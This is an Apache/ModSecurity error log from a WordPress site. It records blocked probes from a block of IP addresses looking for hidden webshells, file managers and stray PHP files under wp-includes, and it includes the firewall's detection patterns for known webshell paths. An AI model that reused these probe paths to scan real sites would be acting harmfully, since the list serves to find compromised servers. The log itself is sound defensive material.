[Mon Apr 13 16:18:03.845864 2026] [:error] [pid 63406:tid 63432] [client 45.130.202.83:61303] [client 45.130.202.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "adymu7HZEIkQ0Zmgp5rvswAAANU"]
[Mon Apr 13 16:18:05.097961 2026] [:error] [pid 57183:tid 57189] [client 45.130.202.108:58223] [client 45.130.202.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "adymvTDO3t8R5NaxzYSyswAAAUQ"]
[Mon Apr 13 16:18:05.594731 2026] [:error] [pid 7228:tid 7238] [client 45.130.202.86:64827] [client 45.130.202.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "adymvQEnn1dQrOSHHNVIxQAAAQg"]
[Mon Apr 13 16:18:07.128081 2026] [:error] [pid 63406:tid 63430] [client 45.130.202.91:22811] [client 45.130.202.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "adymv7HZEIkQ0Zmgp5rvugAAANM"]
[Mon Apr 13 16:18:08.634297 2026] [proxy_fcgi:error] [pid 57183:tid 57196] [client 45.130.202.106:46009] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 16:18:08.888932 2026] [proxy_fcgi:error] [pid 57183:tid 57207] [client 45.130.202.106:46009] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 16:18:09.155143 2026] [proxy_fcgi:error] [pid 57183:tid 57186] [client 45.130.202.106:46009] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 16:18:10.417917 2026] [:error] [pid 57183:tid 57205] [client 45.130.202.106:46009] [client 45.130.202.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "adymwjDO3t8R5NaxzYSyxQAAAVQ"]
[Mon Apr 13 16:18:11.183616 2026] [:error] [pid 63309:tid 63329] [client 45.130.202.72:20599] [client 45.130.202.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "adymw0pIKZ10weXpf0X51wAAABA"]
[Mon Apr 13 16:18:11.666924 2026] [:error] [pid 63406:tid 63419] [client 45.130.202.89:53051] [client 45.130.202.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "adymw7HZEIkQ0Zmgp5rvwQAAAMg"]
[Mon Apr 13 16:18:12.171482 2026] [:error] [pid 7228:tid 7241] [client 45.130.202.81:37401] [client 45.130.202.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "adymxAEnn1dQrOSHHNVIzAAAAQs"]
[Mon Apr 13 16:18:12.975641 2026] [:error] [pid 57183:tid 57202] [client 45.130.202.61:23213] [client 45.130.202.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "adymxDDO3t8R5NaxzYSyxwAAAVE"]
[Mon Apr 13 16:18:13.500817 2026] [:error] [pid 57183:tid 57199] [client 45.130.202.101:58789] [client 45.130.202.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "adymxTDO3t8R5NaxzYSy0AAAAU4"]
[Mon Apr 13 16:18:14.447545 2026] [:error] [pid 63406:tid 63411] [client 45.130.202.73:64125] [client 45.130.202.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "adymxrHZEIkQ0Zmgp5rvxAAAAMA"]
[Mon Apr 13 16:18:15.182754 2026] [:error] [pid 63406:tid 63433] [client 45.130.202.84:65039] [client 45.130.202.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "adymx7HZEIkQ0Zmgp5rvxgAAANY"]
[Mon Apr 13 16:18:16.129469 2026] [:error] [pid 9314:tid 9338] [client 45.130.202.62:53999] [client 45.130.202.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "adymyG_r4W8fX2GWyGSxmQAAAZY"]
[Mon Apr 13 16:18:16.724193 2026] [:error] [pid 9314:tid 9331] [client 45.130.202.57:41837] [client 45.130.202.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "adymyG_r4W8fX2GWyGSxmwAAAY8"]
[Mon Apr 13 16:18:17.733363 2026] [:error] [pid 63311:tid 63380] [client 45.130.202.69:27693] [client 45.130.202.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "adymyaHjrGN1MqBCVFnD6AAAAIk"]
[Mon Apr 13 16:18:18.480377 2026] [:error] [pid 57183:tid 57201] [client 45.130.202.76:50001] [client 45.130.202.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "adymyjDO3t8R5NaxzYSy4wAAAVA"]
[Mon Apr 13 16:18:19.494031 2026] [:error] [pid 63406:tid 63427] [client 45.130.202.69:42069] [client 45.130.202.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "adymy7HZEIkQ0Zmgp5rv0gAAANA"]
[Mon Apr 13 16:18:20.683660 2026] [:error] [pid 63311:tid 63390] [client 45.130.202.64:58237] [client 45.130.202.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "adymzKHjrGN1MqBCVFnD7gAAAJM"]
[Mon Apr 13 16:18:22.132895 2026] [:error] [pid 63310:tid 63363] [client 45.130.202.78:60739] [client 45.130.202.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "adymznoXpRU5ztmwPjIl_gAAAFM"]
[Mon Apr 13 16:18:23.818142 2026] [:error] [pid 63406:tid 63420] [client 45.130.202.109:37179] [client 45.130.202.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "adymz7HZEIkQ0Zmgp5rv5AAAAMk"]
[Mon Apr 13 16:18:24.566810 2026] [:error] [pid 63406:tid 63424] [client 45.130.202.96:54277] [client 45.130.202.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "adym0LHZEIkQ0Zmgp5rv6AAAAM0"]
[Mon Apr 13 16:18:30.673435 2026] [:error] [pid 63406:tid 63427] [client 45.130.202.68:42497] [client 45.130.202.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "adym1rHZEIkQ0Zmgp5rwBAAAANA"]
[Mon Apr 13 16:18:31.162655 2026] [:error] [pid 7228:tid 7252] [client 45.130.202.100:62365] [client 45.130.202.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "adym1wEnn1dQrOSHHNVI2gAAARY"]
[Mon Apr 13 16:18:31.918396 2026] [:error] [pid 7228:tid 7234] [client 45.130.202.60:55931] [client 45.130.202.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "adym1wEnn1dQrOSHHNVI3QAAAQQ"]
[Mon Apr 13 16:18:32.936348 2026] [:error] [pid 63406:tid 63422] [client 45.130.202.55:59207] [client 45.130.202.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "adym2LHZEIkQ0Zmgp5rwCwAAAMs"]
[Mon Apr 13 16:18:33.432694 2026] [:error] [pid 63311:tid 63375] [client 45.130.202.79:43343] [client 45.130.202.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "adym2aHjrGN1MqBCVFnD8AAAAIQ"]
[Mon Apr 13 16:18:36.623697 2026] [:error] [pid 7228:tid 7244] [client 45.130.202.61:59339] [client 45.130.202.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "adym3AEnn1dQrOSHHNVI4wAAAQ4"]
[Mon Apr 13 16:18:37.148324 2026] [:error] [pid 9314:tid 9333] [client 45.130.202.55:31721] [client 45.130.202.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "adym3W_r4W8fX2GWyGSxsQAAAZE"]
[Mon Apr 13 16:18:38.926358 2026] [:error] [pid 63309:tid 63333] [client 45.130.202.102:52791] [client 45.130.202.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "adym3kpIKZ10weXpf0X55QAAABQ"]
[Mon Apr 13 16:18:39.661910 2026] [proxy_fcgi:error] [pid 9314:tid 9330] [client 45.130.202.105:25349] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 16:18:40.165835 2026] [:error] [pid 9314:tid 9324] [client 45.130.202.105:25349] [client 45.130.202.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "adym4G_r4W8fX2GWyGSxuAAAAYg"]
[Mon Apr 13 16:18:40.658415 2026] [:error] [pid 63309:tid 63335] [client 45.130.202.84:60707] [client 45.130.202.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "adym4EpIKZ10weXpf0X56QAAABY"]
[Mon Apr 13 16:18:41.680275 2026] [:error] [pid 63309:tid 63323] [client 45.130.202.109:63361] [client 45.130.202.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "adym4UpIKZ10weXpf0X57gAAAAo"]
[Mon Apr 13 16:18:42.203471 2026] [:error] [pid 63406:tid 63424] [client 45.130.202.84:61707] [client 45.130.202.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "adym4rHZEIkQ0Zmgp5rwHQAAAM0"]
[Mon Apr 13 16:18:44.523438 2026] [:error] [pid 63406:tid 63421] [client 45.130.202.103:32171] [client 45.130.202.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "adym5LHZEIkQ0Zmgp5rwLAAAAMo"]
[Mon Apr 13 16:18:46.062943 2026] [:error] [pid 7228:tid 7250] [client 45.130.202.78:43471] [client 45.130.202.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "adym5gEnn1dQrOSHHNVI5QAAARQ"]
[Mon Apr 13 16:18:47.573465 2026] [:error] [pid 63309:tid 63334] [client 45.130.202.77:36343] [client 45.130.202.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "adym50pIKZ10weXpf0X59wAAABU"]
[Mon Apr 13 16:18:48.064305 2026] [:error] [pid 63311:tid 63384] [client 45.130.202.88:49147] [client 45.130.202.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "adym6KHjrGN1MqBCVFnD-QAAAI0"]
[Mon Apr 13 16:18:48.597772 2026] [:error] [pid 57183:tid 57208] [client 45.130.202.86:64353] [client 45.130.202.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "adym6DDO3t8R5NaxzYSzGgAAAVc"]
[Mon Apr 13 16:18:50.371567 2026] [:error] [pid 63310:tid 63357] [client 45.130.202.108:20523] [client 45.130.202.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "adym6noXpRU5ztmwPjImEgAAAE0"]
[Mon Apr 13 16:18:51.112053 2026] [:error] [pid 63311:tid 63375] [client 45.130.202.108:64557] [client 45.130.202.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "adym66HjrGN1MqBCVFnD_QAAAIQ"]
[Mon Apr 13 16:18:53.334918 2026] [:error] [pid 63406:tid 63414] [client 45.130.202.82:38875] [client 45.130.202.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.130.202.82, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "adym7bHZEIkQ0Zmgp5rwPgAAAMM"]
[Mon Apr 13 16:18:54.841959 2026] [:error] [pid 63406:tid 63426] [client 45.130.202.82:38875] [client 45.130.202.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.130.202.82, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "adym7rHZEIkQ0Zmgp5rwRQAAAM8"]
[Mon Apr 13 16:18:57.689332 2026] [proxy_fcgi:error] [pid 63406:tid 63432] [client 45.130.202.82:38875] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 16:19:01.825352 2026] [:error] [pid 63406:tid 63411] [client 45.130.202.82:38875] [client 45.130.202.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "adym9bHZEIkQ0Zmgp5rwcgAAAMA"]
[Mon Apr 13 16:19:03.148613 2026] [:error] [pid 57183:tid 57185] [client 45.130.202.94:43257] [client 45.130.202.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "adym9zDO3t8R5NaxzYSzKgAAAUA"]
[Mon Apr 13 16:19:04.157447 2026] [:error] [pid 7228:tid 7238] [client 45.130.202.62:22631] [client 45.130.202.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "adym-AEnn1dQrOSHHNVI8QAAAQg"]
[Mon Apr 13 16:19:06.993406 2026] [:error] [pid 63406:tid 63417] [client 45.130.202.91:27799] [client 45.130.202.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "adym-rHZEIkQ0Zmgp5rwgwAAAMY"]
[Mon Apr 13 16:19:08.115056 2026] [:error] [pid 63311:tid 63392] [client 45.130.202.59:29055] [client 45.130.202.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "adym_KHjrGN1MqBCVFnEDAAAAJU"]
[Mon Apr 13 16:19:08.907467 2026] [:error] [pid 9314:tid 9338] [client 45.130.202.54:28889] [client 45.130.202.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "adym_G_r4W8fX2GWyGSxxAAAAZY"]
[Mon Apr 13 16:19:10.433286 2026] [proxy_fcgi:error] [pid 7228:tid 7241] [client 45.130.202.96:63963] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 16:19:10.680534 2026] [proxy_fcgi:error] [pid 7228:tid 7232] [client 45.130.202.96:63963] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 16:19:10.943781 2026] [:error] [pid 7228:tid 7239] [client 45.130.202.96:63963] [client 45.130.202.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "adym_gEnn1dQrOSHHNVJDQAAAQk"]
